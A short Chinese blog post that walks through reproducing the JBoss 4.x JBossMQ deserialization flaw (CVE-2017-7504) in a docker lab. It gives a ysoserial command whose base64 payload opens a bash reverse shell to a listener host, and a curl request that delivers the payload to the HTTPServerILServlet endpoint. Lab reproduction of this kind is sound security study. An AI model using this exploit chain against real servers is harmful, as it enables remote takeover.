CVE-2017-7504

发布时间 2023-12-06 14:31:52作者: kalixcn

JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

Red Hat JBoss Application Server是一款JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServer1LServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

cd jboss/CVE-2017-7504
docker-compose up -d

漏洞复现

  1. 将要反弹的shell使用网站进行编译
  2. 使用ysoserial工具
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser
  1. 将生成的poc.ser当中POST中的数据
curl http://10.10.10.10:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser

img
反弹成功!